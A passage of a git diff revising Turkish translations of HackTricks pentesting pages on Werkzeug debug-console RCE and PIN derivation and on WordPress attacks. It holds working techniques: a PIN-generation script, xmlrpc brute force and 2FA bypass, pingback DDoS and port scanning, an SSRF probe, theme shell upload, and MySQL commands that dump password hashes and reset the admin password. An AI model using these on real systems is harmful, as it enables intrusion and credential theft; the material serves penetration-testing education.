+Eğer hata ayıklama etkinse `/console`'a erişmeyi deneyebilir ve RCE elde edebilirsiniz.
```python
__import__('os').popen('whoami').read();
```
![](<../../.gitbook/assets/image (317).png>)
-İnternette [bu](https://github.com/its-arun/Werkzeug-Debug-RCE) gibi birkaç açık bulunmaktadır veya metasploit'te bir tane.
+İnternette [bu](https://github.com/its-arun/Werkzeug-Debug-RCE) gibi birkaç açık bulunmaktadır veya metasploit'ta bir tane.
## Pin Korumalı - Yol Geçişi
-Bazı durumlarda **`/console`** ucu bir pin ile korunacaktır. Eğer bir **dosya geçişi açığı**nız varsa, o pin'i oluşturmak için gerekli tüm bilgileri sızdırabilirsiniz.
+Bazı durumlarda **`/console`** ucu bir pin ile korunabilir. Eğer bir **dosya geçişi açığı**nız varsa, o pin'i oluşturmak için gerekli tüm bilgileri sızdırabilirsiniz.
### Werkzeug Console PIN Sömürüsü
-Uygulamada bir hata sayfası oluşturmak için bir hata zorlayın:
+Uygulamada bir hata sayfası zorlayarak bunu görün:
```
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
```
-Werkzeug'in hata ayıklama arayüzüne erişmeye çalışırken "konsol kilitli" senaryosuyla karşılaşılan bir mesaj, konsolu kilidini açmak için bir PIN gerektiğini belirtir. Werkzeug'in hata ayıklama başlatma dosyasındaki (`__init__.py`) PIN oluşturma algoritmasını analiz ederek konsol PIN'ini sömürme önerilir. PIN oluşturma mekanizması [**Werkzeug kaynak kod deposundan**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py) incelenebilir, ancak olası sürüm farklılıkları nedeniyle gerçek sunucu kodunu dosya gezintisi açığı aracılığıyla temin etmek tavsiye edilir.
+Werkzeug'in hata ayıklama arayüzüne erişmeye çalışırken "konsol kilitli" senaryosuyla karşılaşılan bir mesaj, konsolu kilidini açmak için bir PIN gerektiğini belirtir. Werkzeug'ın hata ayıklama başlatma dosyasındaki (`__init__.py`) PIN oluşturma algoritmasını analiz ederek konsol PIN'ini sömürme önerisinde bulunulur. PIN oluşturma mekanizması [**Werkzeug kaynak kodu deposundan**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py) incelenebilir, ancak olası sürüm farklılıkları nedeniyle gerçek sunucu kodunu bir dosya gezinti açığı aracılığıyla temin etmek önerilir.
Konsol PIN'ini sömürmek için `probably_public_bits` ve `private_bits` adlı iki değişken kümesine ihtiyaç vardır:
@@ -51,13 +51,13 @@ Konsol PIN'ini sömürmek için `probably_public_bits` ve `private_bits` adlı i
* **`username`**: Flask oturumunu başlatan kullanıcıyı ifade eder.
* **`modname`**: Genellikle `flask.app` olarak belirlenir.
* **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Genellikle **Flask**'a çözülür.
-* **`getattr(mod, '__file__', None)`**: Flask dizinindeki (`/usr/local/lib/python3.5/dist-packages/flask/app.py` gibi) `app.py`'nin tam yolunu temsil eder. `app.py` uygun değilse, **`app.pyc`** deneyin.
+* **`getattr(mod, '__file__', None)`**: Flask dizinindeki `app.py`'nin tam yolunu temsil eder (ör. `/usr/local/lib/python3.5/dist-packages/flask/app.py`). `app.py` uygun değilse, **`app.pyc`** deneyin.
#### **`private_bits`**
* **`uuid.getnode()`**: Geçerli makinenin MAC adresini alır, `str(uuid.getnode())` ile onu ondalık formata çevirir.
-* **Sunucunun MAC adresini belirlemek** için uygulama tarafından kullanılan etkin ağ arabirimini (örneğin, `ens3`) tanımlamak gerekir. Belirsiz durumlarda, cihaz kimliğini bulmak için **`/proc/net/arp`'yi sızdırın**, ardından **MAC adresini** **`/sys/class/net//address`**'den çıkarın.
-* Bir onaltılık MAC adresini ondalığa dönüştürme aşağıdaki gibi gerçekleştirilebilir:
+* **Sunucunun MAC adresini belirlemek** için uygulama tarafından kullanılan etkin ağ arabirimini tanımlamak gerekir (ör. `ens3`). Belirsiz durumlarda, cihaz kimliğini bulmak için **`/proc/net/arp`'yi sızdırın**, ardından **MAC adresini** **`/sys/class/net//address`**'den çıkarın.
+* Bir onaltılık MAC adresini ondalığa dönüştürme aşağıdaki gibi yapılabilir:
```python
# Örnek MAC adresi: 56:00:02:7a:23:ac
@@ -106,9 +106,9 @@ return linux
# On OS X, use ioreg to get the computer's serial number.
try:
```
-
+
-Gerekli tüm veriler toplandıktan sonra, açıklayıcı betik çalıştırılarak Werkzeug konsol PIN'i oluşturulabilir. Betik, birleştirilmiş `probably_public_bits` ve `private_bits` kullanarak bir karmayı oluşturur, daha sonra bu karmayı işleyerek nihai PIN'i üretir. Aşağıda bu işlemi gerçekleştirmek için Python kodu bulunmaktadır:
+Gerekli tüm veriler toplandıktan sonra, açıklayıcı betik çalıştırılarak Werkzeug konsol PIN'i oluşturulabilir. Betik, birleştirilmiş `probably_public_bits` ve `private_bits` kullanarak bir karmayı oluşturur, ardından bu karmadan daha fazla işleme tabi tutularak nihai PIN üretilir. Aşağıda bu işlemi gerçekleştirmek için Python kodu bulunmaktadır:
```python
import hashlib
from itertools import chain
@@ -154,10 +154,10 @@ rv = num
print(rv)
```
-Bu betik, bitleri birleştirerek PIN'i oluşturur, belirli tuzlar ekler (`cookiesalt` ve `pinsalt`) ve çıktıyı biçimlendirir. Üretilen PIN'in Werkzeug konsolu tarafından beklenen PIN ile eşleşmesini sağlamak için `probably_public_bits` ve `private_bits` için gerçek değerlerin hedef sistemden doğru bir şekilde alınması önemlidir.
+Bu betik, PIN'i oluşturmak için bitleri birleştirerek karmaşıklık ekleyerek (`cookiesalt` ve `pinsalt`), ve çıktıyı biçimlendirerek oluşturur. Gerçek değerlerin (`probably_public_bits` ve `private_bits`) hedef sistemden doğru bir şekilde alınması gerektiğini unutmamak önemlidir, böylece üretilen PIN, Werkzeug konsolunda beklenen PIN ile eşleşir.
{% hint style="success" %}
-Eğer **eski bir Werkzeug sürümünde** iseniz, **hashleme algoritmasını sha1 yerine md5'e** değiştirmeyi deneyin.
+Eğer **eski bir sürümde** Werkzeug kullanıyorsanız, **hashleme algoritmasını sha1 yerine md5'e** değiştirmeyi deneyin.
{% endhint %}
## Referanslar
@@ -165,9 +165,9 @@ Eğer **eski bir Werkzeug sürümünde** iseniz, **hashleme algoritmasını sha1
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
-
+
-**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabuklar açmak ve eğlenmek için zaman kazanıyorlar.
+**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabuklar açmak ve eğlenmek için biraz zaman kazanıyorlar.
{% embed url="https://pentest-tools.com/" %}
@@ -180,7 +180,7 @@ HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
-* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud** github depolarına PR göndererek.
+* **💬** [**Discord grubuna**](https://discord.gg/hRep4RUj7f) **katılın veya** [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks** ve **HackTricks Cloud** github depolarına katkıda bulunun.
diff --git a/network-services-pentesting/pentesting-web/wordpress.md b/network-services-pentesting/pentesting-web/wordpress.md
index a0988c07a..04c818771 100644
--- a/network-services-pentesting/pentesting-web/wordpress.md
+++ b/network-services-pentesting/pentesting-web/wordpress.md
@@ -9,12 +9,12 @@ HackTricks'ı desteklemenin diğer yolları:
- **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
- [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-- **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
-- **Hacking püf noktalarınızı göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar göndererek paylaşın.
+- **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
+- **Hacking püf noktalarınızı göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
-
+
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
@@ -25,12 +25,12 @@ Bugün Erişim Alın:
## Temel Bilgiler
**Yüklenen** dosyalar şuraya gider: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\
-**Temalar dosyaları /wp-content/themes/ içinde bulunabilir**, bu yüzden temanın php'sini değiştirirseniz RCE elde etmek için muhtemelen bu yolu kullanacaksınız. Örneğin: **twentytwelve temasını** kullanarak **404.php** dosyasına erişebilirsiniz: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
-**Başka faydalı bir URL şu olabilir:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
+**Temalar dosyaları /wp-content/themes/ içinde bulunabilir**, bu yüzden temanın php'sini değiştirirseniz RCE elde etmek için muhtemelen bu yolu kullanacaksınız. Örneğin: **twentytwelve temasını** kullanarak [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) adresinde **404.php** dosyasına erişebilirsiniz\
+**Başka faydalı bir url şu olabilir:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
-**wp-config.php** dosyasında veritabanının kök şifresini bulabilirsiniz.
+**wp-config.php** içinde veritabanının kök şifresini bulabilirsiniz.
-Kontrol edilecek varsayılan giriş yolları: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
+Kontrol edilmesi gereken varsayılan giriş yolları: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Ana WordPress Dosyaları**
@@ -42,15 +42,15 @@ Kontrol edilecek varsayılan giriş yolları: _**/wp-login.php, /wp-login/, /wp-
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
-- `xmlrpc.php`, WordPress'in bir özelliğini temsil eden bir dosyadır ve HTTP'nin taşıma mekanizması olarak hareket eden ve kodlama mekanizması olarak XML'i kullanan verilerin iletilmesini sağlar. Bu tür iletişim, WordPress [REST API](https://developer.wordpress.org/rest-api/reference) tarafından değiştirilmiştir.
-- `wp-content` klasörü eklentilerin ve temaların depolandığı ana dizindir.
+- `xmlrpc.php`, HTTP'nin taşıma mekanizması olarak hareket eden ve kodlama mekanizması olarak XML'i kullanan WordPress'in bir özelliğini temsil eden bir dosyadır. Bu tür iletişim, WordPress [REST API](https://developer.wordpress.org/rest-api/reference) tarafından değiştirilmiştir.
+- `wp-content` klasörü, eklentilerin ve temaların depolandığı ana dizindir.
- `wp-content/uploads/` Platforma yüklenen dosyaların depolandığı dizindir.
- `wp-includes/` Bu, sertifikalar, yazı tipleri, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların depolandığı dizindir.
-- `wp-sitemap.xml` Wordpress'in 5.5 ve üstü sürümlerinde, Wordpress tüm genel gönderileri ve genel olarak sorgulanabilir gönderi türlerini ve taksonomileri içeren bir site haritası XML dosyası oluşturur.
+- `wp-sitemap.xml` Wordpress sürümleri 5.5 ve üstünde, Worpress tüm genel gönderileri ve genel olarak sorgulanabilir gönderi türlerini ve taksonomileri içeren bir site haritası XML dosyası oluşturur.
-**Saldırı sonrası işlemler**
+**Saldırı Sonrası İşlemler**
-- `wp-config.php` dosyası, WordPress'in veritabanına bağlanmak için gereken bilgileri içerir; veritabanı adı, veritabanı ana bilgisayarı, kullanıcı adı ve şifre, kimlik doğrulama anahtarları ve tuzları ve veritabanı tablo öneki. Bu yapılandırma dosyası ayrıca sorun gidermede kullanışlı olabilecek DEBUG modunu etkinleştirmek için de kullanılabilir.
+- `wp-config.php` dosyası, WordPress'in veritabanına bağlanmak için gereken bilgileri içerir; veritabanı adı, veritabanı ana bilgisayarı, kullanıcı adı ve şifre, kimlik doğrulama anahtarları ve tuzları ve veritabanı tablo öneki. Bu yapılandırma dosyası, sorun gidermede kullanışlı olabilecek DEBUG modunu etkinleştirmek için de kullanılabilir.
### Kullanıcı İzinleri
@@ -68,7 +68,7 @@ Kontrol edilecek varsayılan giriş yolları: _**/wp-login.php, /wp-login/, /wp-
Sayfanın **kaynak kodu** içinde (örnek: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
-- grep
+* grep
```bash
curl https://victim.com/ | grep 'content="WordPress'
```
@@ -98,18 +98,18 @@ curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-conten
```
### Genel olarak sürümleri çıkart
-{% code overflow="wrap" %}
+{% endcode %}
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
{% endcode %}
-
+
\
-[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını otomatikleştirin**.\
-Bugün Erişim Edinin:
+[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
+Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -117,13 +117,13 @@ Bugün Erişim Edinin:
### Eklentiler ve Temalar
-Muhtemelen tüm Eklentileri ve Temaları bulamayacaksınız. Hepsini keşfetmek için **Eklentiler ve Temaların listesini aktif olarak Brute Force etmeniz gerekecek** (şansımıza, bu listeleri içeren otomatik araçlar bulunmaktadır).
+Muhtemelen tüm Eklentileri ve Temaları bulamayacaksınız. Tüm bunları keşfetmek için bir listeyi **etkin bir şekilde Brute Force** etmeniz gerekecek (şansımıza, bu listeleri içeren otomatik araçlar var).
### Kullanıcılar
**Kimlik Brute**
-WordPress sitesinden geçerli kullanıcıları Brute Force yöntemiyle kullanıcı kimliklerini zorlayarak elde edersiniz:
+WordPress sitesinden geçerli kullanıcıları Brute Force ederek elde edersiniz:
```
curl -s -I -X GET http://blog.example.com/?author=1
```
@@ -139,7 +139,7 @@ Başka bir `/wp-json/` uç noktası, kullanıcılar hakkında bazı bilgileri or
```
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
-Bu uç noktanın yalnızca bir gönderi yapmış olan kullanıcıları ortaya çıkardığını unutmayın. **Yalnızca bu özelliğe sahip kullanıcılar hakkında bilgi sağlanacaktır**.
+Bu uç noktanın yalnızca bir gönderi yapmış olan kullanıcıları ortaya çıkardığını unutmayın. **Bu özelliği etkinleştirmiş kullanıcılar hakkında bilgi sağlanacaktır**.
Ayrıca **/wp-json/wp/v2/pages** IP adreslerini sızdırabilir.
@@ -164,7 +164,7 @@ Etkin olup olmadığını görmek için _**/xmlrpc.php**_'ye erişmeyi deneyin v
**Kimlik Bilgileri Kaba Kuvvet**
-**`wp.getUserBlogs`**, **`wp.getCategories`** veya **`metaWeblog.getUsersBlogs`** gibi yöntemler kimlik bilgilerini kaba kuvvetle denemek için kullanılabilir. Eğer bunlardan herhangi birini bulabilirseniz şunu gönderebilirsiniz:
+**`wp.getUserBlogs`**, **`wp.getCategories`** veya **`metaWeblog.getUsersBlogs`** gibi yöntemler kimlik bilgilerini kaba kuvvetle denemek için kullanılabilir. Herhangi birini bulabilirseniz şöyle bir şey gönderebilirsiniz:
```markup
wp.getUsersBlogs
@@ -174,7 +174,7 @@ Etkin olup olmadığını görmek için _**/xmlrpc.php**_'ye erişmeyi deneyin v
```
-200 kodlu yanıt içindeki _"Kullanıcı adı veya şifre yanlış"_ mesajı, kimlik bilgileri geçerli değilse görünmelidir.
+Mesaj _"Kullanıcı adı veya şifre yanlış"_ 200 kodlu bir yanıt içinde görünmelidir eğer kimlik bilgileri geçerli değilse.
![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (4).png>)
@@ -210,18 +210,18 @@ Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol
```
-Ayrıca, **`system.multicall`** kullanarak aynı istekte birkaç kimlik bilgisini deneyebileceğiniz daha **hızlı bir yol** vardır:
+Ayrıca, **`system.multicall`** kullanarak aynı istekte birkaç kimlik bilgisini deneyebileceğiniz daha hızlı bir yol da vardır:
**2FA'yı Atlatma**
-Bu yöntem programlar içindir ve insanlar için değil, eski olduğu için 2FA'yı desteklemez. Dolayısıyla, geçerli kimlik bilgileriniz varsa ancak ana giriş 2FA ile korunuyorsa, **xmlrpc.php'yi kullanarak bu kimlik bilgileriyle 2FA'yı atlayarak oturum açabilirsiniz**. Tüm konsol üzerinden yapabileceğiniz tüm işlemleri gerçekleştiremeyeceğinizi unutmayın, ancak Ippsec'in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s) açıkladığı gibi hala RCE'ye ulaşabilirsiniz.
+Bu yöntem programlar içindir ve insanlar için değil, eski olduğundan dolayı 2FA'yı desteklemez. Dolayısıyla, geçerli kimlik bilgileriniz varsa ancak ana giriş 2FA ile korunuyorsa, **xmlrpc.php'yi kullanarak bu kimlik bilgileriyle 2FA'yı atlayarak oturum açabilirsiniz**. Tüm konsol üzerinden yapabileceğiniz tüm işlemleri gerçekleştiremeyeceğinizi unutmayın, ancak Ippsec'in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s) açıkladığı gibi hala RCE'ye ulaşabilirsiniz.
**DDoS veya port taraması**
-Eğer listede **_pingback.ping_** yöntemini bulabilirseniz, Wordpress'in herhangi bir ana/bağlantı noktasına keyfi bir istek göndermesini sağlayabilirsiniz.\
-Bu, binlerce Wordpress sitesinin bir **yeri** erişmesini istemek için kullanılabilir (bu nedenle o konumda bir **DDoS** oluşturulur) veya **Wordpress**'i bazı iç ağları **taramak** için kullanabilirsiniz (herhangi bir bağlantı noktasını belirtebilirsiniz).
+Eğer listede **_pingback.ping_** yöntemini bulabilirseniz, Wordpress'in herhangi bir ana makine/porta keyfi bir istek göndermesini sağlayabilirsiniz.\
+Bu, binlerce Wordpress sitesinden bir **yeri** ziyaret etmelerini istemek için kullanılabilir (bu nedenle o konumda bir **DDoS** oluşturulur) veya iç ağınızı taramak için **Wordpress**'i kullanabilirsiniz (herhangi bir portu belirtebilirsiniz).
```markup
pingback.ping
@@ -233,7 +233,7 @@ Bu, binlerce Wordpress sitesinin bir **yeri** erişmesini istemek için kullanı
```
Eğer bir değeri 0'dan büyük olan **faultCode** alırsanız (17), bu portun açık olduğu anlamına gelir.
-Bu yöntemi DDoS saldırısına neden olmak için nasıl kötüye kullanacağınızı öğrenmek için önceki bölümde **`system.multicall`** kullanımına bakın.
+Bu yöntemi DDoS saldırısına neden olmak için nasıl kötüye kullanacağınızı öğrenmek için önceki bölümde **`system.multicall`** kullanımına bir göz atın.
**DDoS**
```markup
@@ -250,14 +250,14 @@ Bu yöntemi DDoS saldırısına neden olmak için nasıl kötüye kullanacağın
### wp-cron.php DoS
Bu dosya genellikle Wordpress sitesinin kökünde bulunur: **`/wp-cron.php`**\
-Bu dosyaya **erişildiğinde** a "**yoğun**" MySQL **sorgusu** gerçekleştirilir, bu nedenle **saldırganlar** tarafından **DoS** **oluşturmak** için kullanılabilir.\
+Bu dosyaya **erişildiğinde** a "**yoğun**" MySQL **sorgusu** gerçekleştirilir, bu nedenle **saldırganlar** tarafından **Bir Hizmeti Engelleme** saldırısına neden olmak için kullanılabilir.\
Ayrıca, varsayılan olarak, `wp-cron.php` her sayfa yüklendiğinde çağrılır (bir istemcinin herhangi bir Wordpress sayfasını istediği her an), yüksek trafikli sitelerde sorunlara neden olabilir (DoS).
Wp-Cron'un devre dışı bırakılması ve gereken işlemleri düzenli aralıklarla gerçekleştiren bir gerçek cronjob oluşturulması önerilir (sorunlara neden olmadan).
### /wp-json/oembed/1.0/proxy - SSRF
-https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ adresine erişmeyi deneyin ve Wordpress sitesi size bir istek yapabilir.
+_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ adresine erişmeyi deneyin ve Wordpress sitesi size bir istek yapabilir.
Bu, çalışmadığında gelen yanıttır:
@@ -275,17 +275,17 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
-
+
\
-[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını otomatikleştirin**.\
+[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve kolayca çalıştırın.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Biraz üzerine yazarak erişim alın
-Bu, gerçek bir saldırıdan ziyade bir meraktır. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasından 1 bit çevirebilirdiniz. Bu sayede `/var/www/html/wp-includes/user.php` dosyasının `5389` konumunu çevirerek NOT (`!`) işlemini NOP yapabilirdiniz.
+Bu, gerçek bir saldırıdan ziyade bir meraktır. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasından 1 bit çevirebilirdiniz. Bu sayede `/var/www/html/wp-includes/user.php` dosyasının `5389` konumunu çevirerek (`!`) işlemini devre dışı bırakabilirsiniz.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
@@ -300,7 +300,7 @@ Görünüm → Tema Düzenleyici → 404 Şablonu (sağda)
![](<../../.gitbook/assets/image (21) (1) (1).png>)
-Bu güncellenmiş sayfaya nasıl erişebileceğinizi internetten arayın. Bu durumda buraya erişmeniz gerekecek: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
+Bu güncellenmiş sayfaya nasıl erişebileceğinizi internet üzerinden arayın. Bu durumda buraya erişmeniz gerekecek: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
@@ -329,7 +329,7 @@ Procced'e tıklayın:
![](<../../.gitbook/assets/image (412).png>)
-Büyük ihtimalle görünüşte hiçbir şey yapmayacak, ancak Medya'ya giderseniz, yüklenen kabuğunuzu göreceksiniz:
+Büyük ihtimalle görünüşte hiçbir şey yapmayacak, ancak Medya'ya giderseniz yüklenen kabuğunuzu göreceksiniz:
![](<../../.gitbook/assets/image (413).png>)
@@ -345,13 +345,13 @@ Bu yöntem, zayıf olduğu bilinen zararlı bir eklentinin yüklenmesini ve bir
2. **Eklenti Yükleme**:
* WordPress panosuna gidin, ardından `Pano > Eklentiler > Eklenti Yükle`'ye gidin.
* İndirilen eklentinin zip dosyasını yükleyin.
-3. **Eklenti Etkinleştirme**: Eklenti başarılı bir şekilde yüklendikten sonra, panoda etkinleştirilmelidir.
+3. **Eklenti Etkinleştirme**: Eklenti başarılı bir şekilde yüklendikten sonra, panelden etkinleştirilmelidir.
4. **Sömürü**:
-* "reflex-gallery" eklentisi yüklü ve etkin olduğunda, zayıf olduğu bilindiği için sömürülebilir.
+* "reflex-gallery" eklentisi yüklü ve etkinleştirildiğinde, zayıf olduğu bilindiği için sömürülebilir.
* Metasploit çerçevesi bu zafiyet için bir sömürü sağlar. Uygun modülü yükleyerek ve belirli komutları yürüterek, bir meterpreter oturumu oluşturulabilir ve siteye yetkisiz erişim sağlanabilir.
* Bu, bir WordPress sitesini sömürmek için birçok yöntemden sadece biri olduğu belirtilmektedir.
-İçerik, eklentiyi yüklemek ve etkinleştirmek için WordPress panosundaki adımları gösteren görsel yardımları içermektedir. Ancak, bu tür zafiyetlerden yararlanmak yasaldır ve etik değildir, uygun izin olmadan. Bu bilgiler sorumlu bir şekilde ve yalnızca yasal bir bağlamda, örneğin açık izinle yapılan penetrasyon testleri gibi kullanılmalıdır.
+İçerik, WordPress panosundaki adımları gösteren görsel yardımları içermektedir. Ancak, bu tür zafiyetlerden yararlanmak yasaldır ve etik değildir, uygun izin olmadan. Bu bilgi sorumlu bir şekilde ve yalnızca yasal bir bağlamda, örneğin açık izinle yapılan penetrasyon testleri gibi kullanılmalıdır.
**Daha detaylı adımlar için kontrol edin:** [**https://www.hackingarticles.in/wordpress-reverse-shell/\*\***](https://www.hackingarticles.in/wordpress-reverse-shell/)
@@ -361,7 +361,7 @@ Kullanıcı adlarını ve şifreleri çıkarın:
```bash
mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
-Admin şifresini değiştirin:
+Yönetici şifresini değiştirin:
```bash
mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
@@ -387,15 +387,15 @@ Ayrıca, **yalnızca güvenilir WordPress eklentileri ve temaları yükleyin**.
* Varsayılan **admin** kullanıcısını kaldırın
* **Güçlü şifreler** ve **2FA** kullanın
-* Kullanıcı **izinlerini periyodik olarak gözden geçirin**
+* Düzenli olarak kullanıcıların **izinlerini gözden geçirin**
* Brute Force saldırılarını önlemek için **giriş denemesini sınırlayın**
* **`wp-admin.php`** dosyasını yeniden adlandırın ve yalnızca belirli IP adreslerinden veya dahili olarak erişime izin verin.
-
+
\
-[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
-Hemen Erişim Alın:
+[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)'i kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
+Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -405,10 +405,10 @@ Hemen Erişim Alın:
HackTricks'i desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
